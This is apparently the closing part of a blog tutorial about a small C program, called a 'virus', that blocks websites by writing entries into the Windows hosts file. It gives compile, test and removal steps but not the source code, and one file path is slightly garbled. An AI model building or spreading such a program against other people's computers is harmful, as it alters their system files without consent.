How to Compile ?
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1 google.com
5. Delete all such entries which contain the names of blocked sites.
